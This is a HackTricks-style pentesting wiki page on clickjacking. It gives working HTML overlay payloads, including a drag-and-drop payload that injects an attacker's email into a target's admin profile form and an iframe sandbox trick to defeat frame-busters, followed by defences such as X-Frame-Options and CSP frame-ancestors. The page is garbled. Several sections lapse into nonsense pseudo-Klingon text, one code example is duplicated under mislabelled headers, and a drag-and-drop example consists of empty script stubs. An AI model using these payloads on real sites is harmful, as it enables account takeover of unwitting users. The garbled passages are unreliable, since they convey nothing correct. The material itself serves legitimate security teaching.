hacktricks/pentesting-web/clickjacking.md

# Clickjacking

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!HackTricks</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## What is Clickjacking

In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.


### Prepopulate forms trick

Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviour to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.

### Populate form with Drag\&Drop

If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).

### Basic Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Multistep Payload

#### tlhIngan Hol Translation:

### cha'logh QaD

#### HTML Example:

```html
<iframe src="https://www.example.com" style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9999; opacity:0;"></iframe>
<div style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9998; background-color:red;"></div>
```

#### tlhIngan Hol Example:

```html
<iframe src="https://www.example.com" style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9999; opacity:0;"></iframe>
<div style="position:absolute; top:0; left:0; width:100%; height:100%; z-index:9998; background-color:red;"></div>
```
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload

#### Description

This technique involves using a combination of drag and drop events along with a click event to execute a payload. It takes advantage of the clickjacking vulnerability to trick the user into performing an unintended action.

#### How it works

1. The attacker creates a malicious webpage that contains an invisible element, such as an iframe, positioned over a legitimate button or link.
2. The attacker uses JavaScript to capture the drag and drop events on the webpage.
3. When the user attempts to drag and drop an object, the malicious webpage intercepts the event and moves the invisible element to the same position as the object being dragged.
4. As the user releases the object, the click event is triggered on the invisible element, which is positioned over the legitimate button or link.
5. The user unknowingly clicks on the invisible element, executing the payload.

#### Mitigation

To mitigate this attack, web developers should implement the following measures:

- Implement frame-busting techniques to prevent clickjacking attacks.
- Use the X-Frame-Options header to restrict framing of the webpage.
- Implement Content Security Policy (CSP) to restrict the sources of the webpage's content.
- Regularly update and patch web browsers to ensure they are protected against clickjacking vulnerabilities.

#### Example

```html
<iframe src="https://malicious-website.com" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0;"></iframe>

<button onclick="alert('Legitimate button clicked!')">Click me</button>

<script>
    document.addEventListener('dragstart', function(event) {
        // Capture drag and drop events
    });

    document.addEventListener('dragend', function(event) {
        // Move invisible element to the same position as the dragged object
    });

    document.addEventListener('click', function(event) {
        // Trigger click event on the invisible element
    });
</script>
```

#### References

- [OWASP Clickjacking](https://owasp.org/www-community/attacks/Clickjacking)
- [Clickjacking - Wikipedia](https://en.wikipedia.org/wiki/Clickjacking)
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking

If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\
Example:\
_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters._\
\_\_An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.

## Strategies to Mitigate Clickjacking

### Client-Side Defenses

Scripts executed on the client side can perform actions to prevent Clickjacking:

* Ensuring the application window is the main or top window.
* Making all frames visible.
* Preventing clicks on invisible frames.
* Detecting and alerting users to potential Clickjacking attempts.

However, these frame-busting scripts may be circumvented:

* **Browsers' Security Settings:** Some browsers might block these scripts based on their security settings or lack of JavaScript support.
* **HTML5 iframe `sandbox` Attribute:** An attacker can neutralize frame buster scripts by setting the `sandbox` attribute with `allow-forms` or `allow-scripts` values without `allow-top-navigation`. This prevents the iframe from verifying if it is the top window, e.g.,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### Server-Side Defenses

#### X-Frame-Options

**`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:

* `X-Frame-Options: deny` - No domain can frame the content.
* `X-Frame-Options: sameorigin` - Only the current site can frame the content.
* `X-Frame-Options: allow-from https://trusted.com` - Only the specified 'uri' can frame the page.
* Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.

#### Content Security Policy (CSP) frame-ancestors directive

**`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:

* `frame-ancestors 'none'` - Similar to `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Similar to `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Similar to `X-Frame-Options: allow-from`.

For instance, the following CSP only allows framing from the same domain:

`Content-Security-Policy: frame-ancestors 'self';`

Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).

### Content Security Policy (CSP) with `child-src` and `frame-src`

**Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.

#### `frame-src` Directive
- Defines valid sources for frames.
- More specific than the `default-src` directive.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
#### `child-src` Directive
- CSP level 2-vaD vItlhutlh web workers je frames vItlhutlh valid sources set.
- frame-src je worker-src vItlhutlh fallback vaj.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
**ghItlhvam:**
- **Qap:** 'ej 'e' vItlhutlh 'e' vItlhutlh 'ej https://trusted-website.com.
- **QaD:** 
  - **Deprecation:** child-src 'ej frame-src 'ej worker-src vItlhutlh.
  - **Fallback Behavior:** vaj frame-src 'e' vItlhutlh, child-src vItlhutlh. vaj cha'logh, default-src vItlhutlh.
  - **Strict Source Definition:** vItlhutlh sources vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh.

#### JavaScript Frame-Breaking Scripts

**ghItlhvam:** 
- **Qapla':** JavaScript-based frame-busting scripts vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh vItlhutlhbe'chugh. Example:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### qo'wI'wI' Anti-CSRF Tokens

* **Token Validation:** web applications anti-CSRF tokens use to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.

## References

* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) vItlhutlh 'ej **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>